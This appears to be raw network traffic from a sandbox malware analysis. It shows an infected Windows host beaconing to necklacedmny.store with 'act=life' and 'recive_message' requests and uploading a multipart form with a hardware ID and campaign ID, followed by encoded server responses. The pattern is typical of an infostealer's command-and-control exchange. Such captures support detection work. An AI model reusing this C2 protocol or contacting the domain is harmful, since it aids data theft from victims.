2024-10-29 19:37:25 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0m9moc9s55g7doesbcnn7u91pn; expires=Sat, 22 Feb 2025 13:24:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDoIPafGB6fJRUKOvO42BoBatukzbRDi%2BzbyjYF5lD7NLKXpdax8a%2FBGP0849pg3FEJVkLavvh%2FiOF5R89XIMUJSqbgh0s08aq7Dznn%2FkT0aduovv8pDfiEPztc3jJ1Begxeg7A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59ebb4ed5e7a2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1897&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1522607&cwnd=251&unsent_bytes=0&cid=a03261c73d674c9b&ts=531&x=0"
2024-10-29 19:37:25 UTC	354	IN	Data Raw: 34 34 36 63 0d 0a 50 31 6e 39 6d 67 79 34 4f 4c 65 79 74 4b 44 77 52 4e 67 6f 42 34 5a 42 56 76 71 78 6d 4e 38 65 47 30 54 59 4a 45 39 6a 37 5a 42 45 65 34 75 34 4e 6f 77 55 6c 63 48 52 67 73 6f 77 71 6c 31 69 71 6d 4d 33 6e 70 4f 69 75 58 39 33 4e 37 30 49 62 52 57 41 73 67 55 2f 6e 50 5a 2f 33 52 53 56 31 38 79 43 79 68 2b 6a 43 6d 4c 6f 59 32 7a 59 31 50 4b 39 66 33 63 6d 75 55 38 67 45 34 48 7a 56 7a 57 61 38 6d 6e 62 58 4e 62 65 32 63 57 56 49 62 6c 43 61 65 38 73 50 70 65 54 74 50 31 37 59 57 62 69 42 67 49 47 6d 66 46 79 4f 49 37 78 4c 73 55 55 7a 4a 44 52 7a 74 4a 2b 2b 6b 6c 69 35 43 30 77 6e 74 72 77 74 33 5a 2f 4a 37 78 4f 50 77 71 4c 2b 46 63 37 6d 66 4e 6a 30 6b 6a 62 31 4e 37 4f 6b 79 75 35 43 69 75 6b 4a 43 7a 59 69 37 72 75 54 6e 6f 33 71 Data Ascii: 446cP1n9mgy4OLeytKDwRNgoB4ZBVvqxmN8eG0TYJE9j7ZBEe4u4NowUlcHRgsowql1iqmM3npOiuX93N70IbRWAsgU/nPZ/3RSV18yCyh+jCmLoY2zY1PK9f3cmuU8gE4HzVzWa8mnbXNbe2cWVIblCae8sPpeTtP17YWbiBgIGmfFyOI7xLsUUzJDRztJ++kli5C0wntrwt3Z/J7xOPwqL+Fc7mfNj0kjb1N7Okyu5CiukJCzYi7ruTno3q
2024-10-29 19:37:25 UTC	1369	IN	Data Raw: 31 31 72 48 32 4e 33 4a 6c 7a 53 78 51 32 6a 70 49 7a 6d 53 33 50 6d 39 65 33 4d 73 74 55 77 70 44 49 4c 30 58 54 76 66 74 69 37 64 51 70 57 49 6c 75 47 58 4e 72 31 47 63 36 59 5a 64 49 65 64 34 2f 31 37 64 57 62 69 42 69 55 45 6a 50 46 57 4e 4a 7a 77 5a 63 68 61 78 39 62 62 78 34 41 67 76 30 52 76 35 7a 45 2b 6c 74 58 35 74 48 64 77 49 37 31 43 62 55 2f 50 39 55 56 37 78 37 68 50 31 31 48 5a 32 73 48 43 30 6a 6e 30 55 79 58 6a 4c 33 54 41 6b 2f 36 38 65 48 67 69 74 45 67 70 44 59 6e 38 55 44 53 5a 38 6d 37 64 55 4e 33 59 31 38 2b 5a 4b 62 70 50 61 4f 41 6c 4f 4a 6e 57 75 76 4d 38 66 6a 37 36 48 6d 30 76 69 50 46 50 65 61 72 37 59 4e 52 64 77 35 44 4a 6a 49 74 6d 76 55 59 6c 76 47 4d 36 6e 64 7a 6f 76 47 35 38 4b 4b 68 4b 4b 41 65 43 38 56 4d 37 6d 76 39 Data Ascii: 11rH2N3JlzSxQ2jpIzmS3Pm9e3MstUwpDIL0XTvfti7dQpWIluGXNr1Gc6YZdIed4/17dWbiBiUEjPFWNJzwZchax9bbx4Agv0Rv5zE+ltX5tHdwI71CbU/P9UV7x7hP11HZ2sHC0jn0UyXjL3TAk/68eHgitEgpDYn8UDSZ8m7dUN3Y18+ZKbpPaOAlOJnWuvM8fj76Hm0viPFPear7YNRdw5DJjItmvUYlvGM6ndzovG58KKhKKAeC8VM7mv9
2024-10-29 19:37:25 UTC	1369	IN	Data Raw: 35 44 4a 6a 49 74 6d 76 55 59 6c 76 47 4d 34 6b 64 50 78 74 33 68 35 49 62 64 44 4c 67 61 4d 2f 31 6f 78 6b 66 39 71 31 6c 50 59 31 74 62 46 6c 69 4f 6f 54 32 7a 6f 4c 33 54 57 6b 2f 32 6c 50 43 46 6d 6c 55 45 37 41 71 44 78 54 44 4c 66 35 79 44 44 47 74 4c 63 6c 70 72 53 49 62 39 43 62 75 49 72 4e 49 72 57 39 4c 5a 39 63 79 43 37 53 79 45 48 6a 2f 4e 64 50 5a 50 34 61 64 31 49 78 39 58 51 30 4a 68 6d 39 41 70 69 2f 47 4e 73 32 4f 58 71 71 6d 31 76 5a 49 39 46 49 77 2b 49 35 42 30 6b 30 65 45 75 33 56 61 56 69 4a 62 4a 6b 69 71 39 51 6d 50 67 4b 7a 75 58 32 75 69 38 63 48 63 30 76 55 59 6b 44 34 44 2b 56 44 61 59 39 57 58 51 56 39 48 58 31 34 4c 63 5a 72 31 53 4a 62 78 6a 41 6f 6a 65 39 70 4e 33 64 53 2f 36 57 57 4d 59 7a 2f 56 52 65 38 65 34 61 74 5a 53 Data Ascii: 5DJjItmvUYlvGM4kdPxt3h5IbdDLgaM/1oxkf9q1lPY1tbFliOoT2zoL3TWk/2lPCFmlUE7AqDxTDLf5yDDGtLclprSIb9CbuIrNIrW9LZ9cyC7SyEHj/NdPZP4ad1Ix9XQ0Jhm9Api/GNs2OXqqm1vZI9FIw+I5B0k0eEu3VaViJbJkiq9QmPgKzuX2ui8cHc0vUYkD4D+VDaY9WXQV9HX14LcZr1SJbxjAoje9pN3dS/6WWMYz/VRe8e4atZS
2024-10-29 19:37:25 UTC	1369	IN	Data Raw: 65 58 49 72 31 4f 59 2b 74 6a 65 74 6a 55 34 76 30 6b 4f 51 6d 64 63 32 38 67 74 62 4a 43 64 59 61 34 61 64 59 61 6a 5a 44 61 77 5a 34 75 74 55 78 73 36 43 6b 39 6b 39 2f 78 75 58 42 77 49 37 78 48 4b 41 53 4f 39 6c 45 78 6d 66 74 74 31 56 58 61 32 4a 61 4d 30 69 47 69 43 6a 32 6b 42 69 4f 54 33 66 7a 39 59 7a 63 2f 2b 6b 45 68 51 64 65 79 55 54 4b 5a 2f 6d 76 57 57 39 50 59 30 38 71 57 4a 37 78 4d 5a 75 73 6e 4d 5a 6e 63 2f 72 46 79 63 79 65 37 53 69 59 4f 68 50 63 64 64 64 2f 2f 64 70 6f 43 6c 65 48 56 31 49 55 32 74 67 70 36 71 6a 70 30 6e 39 2b 36 35 54 78 34 4e 4c 42 4d 49 77 53 41 39 31 34 30 6d 50 56 6f 31 6c 44 63 32 4e 44 4e 6d 7a 53 35 52 6d 76 6a 4c 54 69 57 33 76 43 2b 63 54 6c 6f 2b 6b 45 31 51 64 65 79 63 54 79 53 31 6d 58 57 58 5a 58 50 6d Data Ascii: eXIr1OY+tjetjU4v0kOQmdc28gtbJCdYa4adYajZDawZ4utUxs6Ck9k9/xuXBwI7xHKASO9lExmftt1VXa2JaM0iGiCj2kBiOT3fz9Yzc/+kEhQdeyUTKZ/mvWW9PY08qWJ7xMZusnMZnc/rFycye7SiYOhPcddd//dpoCleHV1IU2tgp6qjp0n9+65Tx4NLBMIwSA9140mPVo1lDc2NDNmzS5RmvjLTiW3vC+cTlo+kE1QdeycTyS1mXWXZXPm
2024-10-29 19:37:25 UTC	1369	IN	Data Raw: 36 54 58 32 6b 65 33 53 75 31 4f 71 74 66 7a 73 58 72 45 55 37 43 6f 4c 2b 48 53 54 52 34 53 37 64 56 70 57 49 6c 73 53 64 4c 37 6c 46 5a 4f 30 76 4f 5a 33 61 2f 37 78 36 66 53 79 77 52 69 73 48 6a 76 64 58 4f 4a 37 79 5a 39 31 53 30 74 50 45 67 74 78 6d 76 56 49 6c 76 47 4d 64 6e 38 48 30 72 54 78 6d 61 4b 4d 47 4b 67 33 50 71 68 30 2f 6c 66 64 71 33 56 62 54 31 64 44 50 6b 79 6d 37 53 6d 72 67 4b 44 32 65 30 76 65 34 63 58 30 30 73 45 30 69 44 59 62 2b 55 48 76 52 75 47 6e 43 47 6f 32 51 35 38 2b 63 4b 4c 31 63 4a 66 74 74 4c 64 6a 55 39 76 30 6b 4f 53 65 32 53 53 34 4f 6a 50 46 63 4d 59 33 71 59 74 4e 53 30 4e 7a 64 7a 4a 51 30 76 45 56 73 35 79 41 39 6e 39 76 32 74 33 39 2b 5a 76 51 47 4b 68 6e 50 71 68 30 59 69 4f 68 6a 6d 6b 57 62 79 5a 62 46 6e 6d Data Ascii: 6TX2ke3Su1OqtfzsXrEU7CoL+HSTR4S7dVpWIlsSdL7lFZO0vOZ3a/7x6fSywRisHjvdXOJ7yZ91S0tPEgtxmvVIlvGMdn8H0rTxmaKMGKg3Pqh0/lfdq3VbT1dDPkym7SmrgKD2e0ve4cX00sE0iDYb+UHvRuGnCGo2Q58+cKL1cJfttLdjU9v0kOSe2SS4OjPFcMY3qYtNS0NzdzJQ0vEVs5yA9n9v2t39+ZvQGKhnPqh0YiOhjmkWbyZbFnm
2024-10-29 19:37:25 UTC	1369	IN	Data Raw: 39 69 59 79 6c 39 7a 7a 74 48 68 78 4a 62 70 43 4b 51 61 4b 38 56 45 77 6d 50 74 68 33 6c 50 62 32 64 6d 43 33 47 61 39 55 69 57 38 59 78 57 44 30 50 61 77 50 47 5a 6f 6f 77 59 71 44 63 2b 71 48 54 65 52 2f 57 37 51 58 4e 48 56 30 4d 69 58 4a 72 46 4a 61 75 41 6c 4d 4a 66 54 38 62 52 39 66 79 4f 77 54 53 73 4d 6a 50 52 62 65 39 47 34 61 63 49 61 6a 5a 44 32 32 5a 38 71 76 51 70 36 71 6a 70 30 6e 39 2b 36 35 54 78 79 4b 72 35 42 4c 51 79 4d 2b 6c 67 2f 6c 66 31 75 30 6b 6a 64 30 4e 48 51 67 43 61 7a 54 32 6e 6e 49 7a 43 65 32 76 79 2b 65 44 6c 6f 2b 6b 45 31 51 64 65 79 63 44 65 59 30 57 6e 42 47 73 71 65 7a 34 4b 56 4b 76 6f 53 4a 65 55 6f 50 70 66 65 2b 62 74 2f 63 69 4f 77 52 79 6f 4a 67 75 42 65 4e 4a 44 38 62 74 56 63 30 39 48 5a 78 4a 55 76 75 30 4a Data Ascii: 9iYyl9zztHhxJbpCKQaK8VEwmPth3lPb2dmC3Ga9UiW8YxWD0PawPGZoowYqDc+qHTeR/W7QXNHV0MiXJrFJauAlMJfT8bR9fyOwTSsMjPRbe9G4acIajZD22Z8qvQp6qjp0n9+65TxyKr5BLQyM+lg/lf1u0kjd0NHQgCazT2nnIzCe2vy+eDlo+kE1QdeycDeY0WnBGsqez4KVKvoSJeUoPpfe+bt/ciOwRyoJguBeNJD8btVc09HZxJUvu0J
2024-10-29 19:37:25 UTC	1369	IN	Data Raw: 71 62 30 37 4c 64 37 61 53 47 74 53 57 31 50 7a 2f 30 64 59 36 61 34 5a 39 31 42 78 4d 62 62 30 70 56 6d 68 51 51 6c 2f 47 4e 73 32 4f 62 35 73 33 4a 2b 4d 4b 73 4c 43 68 65 46 39 55 30 38 69 50 63 75 6c 42 72 54 6b 49 36 52 33 47 61 2b 57 79 57 38 63 32 62 44 68 71 6e 71 4c 43 73 35 39 46 39 74 46 38 2b 71 44 33 58 66 36 69 36 43 47 70 4c 54 78 4e 43 55 4a 61 78 4a 49 74 6f 64 45 34 4c 65 2f 4b 70 74 52 78 69 39 58 43 41 48 6d 4f 4d 52 4c 70 7a 32 59 4e 31 4d 6c 5a 36 57 7a 64 4a 2b 67 77 6f 74 70 42 78 36 32 4d 75 36 35 54 78 4d 4a 62 52 49 4b 68 65 65 76 33 6f 68 6b 76 35 35 79 78 71 62 6b 4e 43 43 79 6e 62 30 43 6d 48 31 59 32 7a 49 67 61 48 6f 4c 79 35 32 36 46 6c 6a 47 4d 2f 6b 48 57 50 4e 74 69 37 49 47 6f 32 51 6b 63 47 41 4e 4c 78 4a 63 2b 64 6b Data Ascii: qb07Ld7aSGtSW1Pz/0dY6a4Z91BxMbb0pVmhQQl/GNs2Ob5s3J+MKsLCheF9U08iPculBrTkI6R3Ga+WyW8c2bDhqnqLCs59F9tF8+qD3Xf6i6CGpLTxNCUJaxJItodE4Le/KptRxi9XCAHmOMRLpz2YN1MlZ6WzdJ+gwotpBx62Mu65TxMJbRIKheev3ohkv55yxqbkNCCynb0CmH1Y2zIgaHoLy526FljGM/kHWPNti7IGo2QkcGANLxJc+dk
2024-10-29 19:37:25 UTC	1369	IN	Data Raw: 4c 39 53 58 6f 6f 74 45 45 37 45 4d 4c 56 55 7a 79 65 37 6e 37 4e 56 5a 57 65 6c 73 54 53 66 75 67 45 4a 65 41 79 64 4d 43 44 71 4f 59 70 4b 6e 48 71 46 44 4a 50 6c 72 4a 4c 65 38 65 71 49 4a 70 49 6c 59 69 57 68 5a 45 30 71 45 78 6d 38 69 42 7a 70 75 33 64 73 33 74 34 4d 4b 70 52 49 6b 36 68 78 48 77 46 6f 65 31 74 31 46 54 53 78 73 65 43 33 47 61 31 43 6a 33 64 59 33 7a 59 37 4c 54 39 5a 44 6c 2b 2b 6e 4d 75 44 34 48 31 53 79 72 53 33 32 44 64 57 38 50 41 77 63 33 64 43 49 78 72 4a 61 70 6a 4d 74 69 4c 71 50 4d 38 66 54 66 36 48 6e 31 54 31 4b 63 4f 62 4d 2b 71 63 5a 52 44 6c 63 61 57 6d 73 42 6f 2b 6c 67 6c 76 47 4e 7a 6d 38 48 6f 75 33 39 76 4a 66 31 34 45 79 61 42 39 56 77 74 6a 2f 56 69 2b 31 6e 45 32 75 6a 38 68 79 57 30 52 47 4c 79 4d 6e 54 57 6b Data Ascii: L9SXootEE7EMLVUzye7n7NVZWelsTSfugEJeAydMCDqOYpKnHqFDJPlrJLe8eqIJpIlYiWhZE0qExm8iBzpu3ds3t4MKpRIk6hxHwFoe1t1FTSxseC3Ga1Cj3dY3zY7LT9ZDl++nMuD4H1SyrS32DdW8PAwc3dCIxrJapjMtiLqPM8fTf6Hn1T1KcObM+qcZRDlcaWmsBo+lglvGNzm8Hou39vJf14EyaB9Vwtj/Vi+1nE2uj8hyW0RGLyMnTWk
2024-10-29 19:37:25 UTC	1369	IN	Data Raw: 39 4d 4b 39 46 50 51 61 78 7a 48 41 70 6d 4f 68 74 6d 48 62 53 33 64 72 38 72 42 47 72 54 58 57 6d 42 54 65 4f 30 4c 72 7a 50 47 46 6d 34 67 59 41 45 34 6a 69 58 6e 6d 7a 2f 32 50 57 47 73 71 65 7a 34 4b 45 5a 75 49 5a 4b 36 51 78 64 4d 43 54 76 62 35 75 61 79 43 35 55 43 35 47 73 63 78 77 4b 5a 6a 6f 62 5a 68 72 32 4e 54 41 31 35 45 32 76 58 52 62 79 54 45 7a 69 4e 43 34 6d 45 59 37 46 36 78 46 4c 51 2b 49 73 68 4e 37 68 37 67 32 6d 6e 66 48 31 38 62 42 30 41 4f 41 43 46 54 79 49 44 53 57 31 4c 71 69 4d 6d 42 6d 72 41 5a 31 55 73 47 79 54 33 76 48 75 43 6e 55 56 39 54 54 32 4d 47 41 4e 4c 78 4a 63 2b 64 6b 43 71 62 38 38 62 78 73 64 44 65 33 51 6a 73 2f 73 64 56 62 50 70 6a 47 55 4f 31 4c 30 73 43 55 35 4a 45 77 75 51 6f 72 70 44 74 30 77 4a 50 64 75 33 Data Ascii: 9MK9FPQaxzHApmOhtmHbS3dr8rBGrTXWmBTeO0LrzPGFm4gYAE4jiXnmz/2PWGsqez4KEZuIZK6QxdMCTvb5uayC5UC5GscxwKZjobZhr2NTA15E2vXRbyTEziNC4mEY7F6xFLQ+IshN7h7g2mnfH18bB0AOACFTyIDSW1LqiMmBmrAZ1UsGyT3vHuCnUV9TT2MGANLxJc+dkCqb88bxsdDe3Qjs/sdVbPpjGUO1L0sCU5JEwuQorpDt0wJPdu3

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	50018	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 19:37:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 19:37:25 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r5ejkap57o1ldti8ik98puq6h7; expires=Sat, 22 Feb 2025 13:24:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hq5xzgLNS7f7AOXC6SQefA%2FEm9C%2BTxJYO1v89%2BP%2FYWWTEHwmTmnUJWM%2B1Jwu6pkCyGcfnr8yYbB62wQYasmv4asR%2FfMazHtO3hCC7R2w7tvR2JytkzjtcysP9I317vRfDwrfK2Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59ebeee84e901-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1874433&cwnd=237&unsent_bytes=0&cid=03d47626ec7fc5d7&ts=518&x=0"
2024-10-29 19:37:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 19:37:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	50019	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:26 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-29 19:37:26 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:37:29 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mkqgolcgckularhsod2f3hu41r; expires=Sat, 22 Feb 2025 13:24:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=28EHIk6W2AYqf2Mcrh%2BEYfqg1OUaIBqAQxbzwtElS1o9%2B5kfSXujq4Fja06s1XKFjgsij1w2BdPagR8Rs5crSzx%2FD6mu5wZ%2BQGqYJIoXLQHGlzeHfi%2F%2FBwMbwcZIdLxRKQc4050%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59ec4ac226bd1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1101&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=2565101&cwnd=246&unsent_bytes=0&cid=20f0a5c4592cf44b&ts=2923&x=0"
2024-10-29 19:37:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:37:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	50020	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 19:37:28 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 19:37:29 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jhk06ffeqlh8pgohd4n771p2bq; expires=Sat, 22 Feb 2025 13:24:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0GW6fGagh0z%2BaSRKSQyi%2F6hnLOAFQ05tDfnbUnVgel9GO5Uo3Pw%2FITVTcBEUx9BJ8ok0JEElAi%2Fn2zeB7O31DOgtWzjSC6w%2BiW%2FPdUkPA8wH5%2FDc5HiJPJok0Sx4pjBfpKII%2BbY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59ed28e30afc0-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19802&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=145615&cwnd=32&unsent_bytes=0&cid=0a561f90f7d8d0e8&ts=472&x=0"
2024-10-29 19:37:29 UTC	347	IN	Data Raw: 34 64 63 0d 0a 52 2f 42 73 58 4b 54 61 62 51 78 71 71 39 72 54 49 4e 59 51 47 7a 65 30 74 4e 31 58 43 79 4e 62 67 74 30 69 77 57 73 43 61 73 73 38 30 68 70 2b 6e 75 35 42 4c 68 6e 4f 2b 4f 6c 55 70 47 56 2b 47 35 62 56 75 58 55 78 52 54 72 75 72 6b 66 74 53 58 51 48 36 58 32 57 44 54 44 58 76 30 45 75 44 39 50 34 36 58 75 74 4d 6e 35 5a 6c 6f 37 2f 4d 6d 46 42 4f 75 36 2f 51 36 6f 45 63 67 61 6f 4c 35 77 4c 4e 4d 47 35 43 57 30 47 78 72 2b 32 52 62 64 36 64 56 37 5a 33 4c 42 31 4a 77 45 2b 2b 50 38 59 34 79 5a 6e 48 71 6f 4b 6b 52 38 33 68 71 64 42 64 30 6a 4f 74 50 45 61 39 48 46 2b 56 64 6a 53 75 54 78 6a 53 7a 50 6d 76 6b 61 72 47 32 73 4d 6f 79 2b 53 43 44 58 4c 73 42 31 67 44 4d 47 30 73 45 2b 33 4d 6a 63 56 30 63 37 2f 62 53 6b 53 43 2b 4f 75 55 62 Data Ascii: 4dcR/BsXKTabQxqq9rTINYQGze0tN1XCyNbgt0iwWsCass80hp+nu5BLhnO+OlUpGV+G5bVuXUxRTrurkftSXQH6X2WDTDXv0EuD9P46XutMn5Zlo7/MmFBOu6/Q6oEcgaoL5wLNMG5CW0Gxr+2Rbd6dV7Z3LB1JwE++P8Y4yZnHqoKkR83hqdBd0jOtPEa9HF+VdjSuTxjSzPmvkarG2sMoy+SCDXLsB1gDMG0sE+3MjcV0c7/bSkSC+OuUb
2024-10-29 19:37:29 UTC	904	IN	Data Raw: 33 53 43 44 44 48 74 51 39 38 41 4d 4b 7a 74 46 43 2f 65 33 52 59 31 74 75 31 4f 6d 70 42 50 75 71 31 54 36 6b 4e 62 51 57 76 4a 5a 4a 4f 63 49 61 2f 46 79 35 51 69 5a 75 30 55 72 4e 2b 62 78 66 73 6c 71 42 37 63 41 45 2b 37 50 38 59 34 77 46 6c 43 36 6f 75 6e 51 30 32 7a 61 6f 50 66 41 37 45 76 61 4e 45 73 58 78 7a 56 73 54 63 73 54 4e 71 53 44 4c 70 75 6b 65 6e 53 53 35 49 72 6a 33 53 56 6e 37 6e 74 51 52 69 41 74 36 34 38 56 33 36 61 7a 6c 53 32 70 62 6e 64 57 31 41 50 65 47 37 54 71 30 4e 62 41 36 6e 4b 4a 30 49 4e 4d 61 2f 42 57 59 41 79 4c 57 36 54 62 52 33 64 46 48 51 32 72 34 77 4b 51 39 35 35 36 63 41 2b 30 6c 4f 44 36 6f 33 30 44 73 39 79 4c 59 49 65 45 6a 57 39 71 67 43 73 33 34 35 44 5a 62 59 75 6a 70 37 51 43 76 6c 73 56 4b 76 44 47 59 46 71 Data Ascii: 3SCDDHtQ98AMKztFC/e3RY1tu1OmpBPuq1T6kNbQWvJZJOcIa/Fy5QiZu0UrN+bxfslqB7cAE+7P8Y4wFlC6ounQ02zaoPfA7EvaNEsXxzVsTcsTNqSDLpukenSS5Irj3SVn7ntQRiAt648V36azlS2pbndW1APeG7Tq0NbA6nKJ0INMa/BWYAyLW6TbR3dFHQ2r4wKQ9556cA+0lOD6o30Ds9yLYIeEjW9qgCs345DZbYujp7QCvlsVKvDGYFq
2024-10-29 19:37:29 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 74 51 42 6e 41 63 43 71 75 30 36 36 59 48 52 66 30 39 69 7a 4d 47 5a 42 4f 4f 47 78 53 71 68 4a 4c 6b 69 75 50 64 4a 57 66 75 6d 31 48 33 77 43 77 71 6e 7a 64 37 64 38 64 31 4c 41 6c 71 42 37 63 41 45 2b 37 50 38 59 34 77 4a 6d 42 4b 55 6c 6c 42 77 77 79 61 6f 46 66 41 7a 48 76 4c 31 4d 76 58 39 32 55 4d 54 53 76 79 64 6f 52 44 37 75 73 6c 4b 6d 53 53 35 49 72 6a 33 53 56 6e 37 38 6a 41 68 2b 47 63 37 36 68 45 47 36 66 48 35 44 6c 73 6e 78 4c 43 6c 47 4e 61 44 6e 41 4b 41 46 62 51 47 73 4b 6f 41 45 4d 73 65 71 43 47 63 42 77 37 6d 2f 54 62 39 2b 66 45 66 64 32 62 63 36 61 45 77 30 36 37 74 41 34 30 63 67 44 37 46 6c 79 6b 34 66 79 37 63 64 62 52 6d 4c 6a 62 4a 4d 75 6e 56 76 46 63 6d 59 70 6e 56 75 54 58 6d 34 2f 30 47 76 42 57 45 48 72 Data Ascii: 3f90tQBnAcCqu066YHRf09izMGZBOOGxSqhJLkiuPdJWfum1H3wCwqnzd7d8d1LAlqB7cAE+7P8Y4wJmBKUllBwwyaoFfAzHvL1MvX92UMTSvydoRD7uslKmSS5Irj3SVn78jAh+Gc76hEG6fH5DlsnxLClGNaDnAKAFbQGsKoAEMseqCGcBw7m/Tb9+fEfd2bc6aEw067tA40cgD7Flyk4fy7cdbRmLjbJMunVvFcmYpnVuTXm4/0GvBWEHr
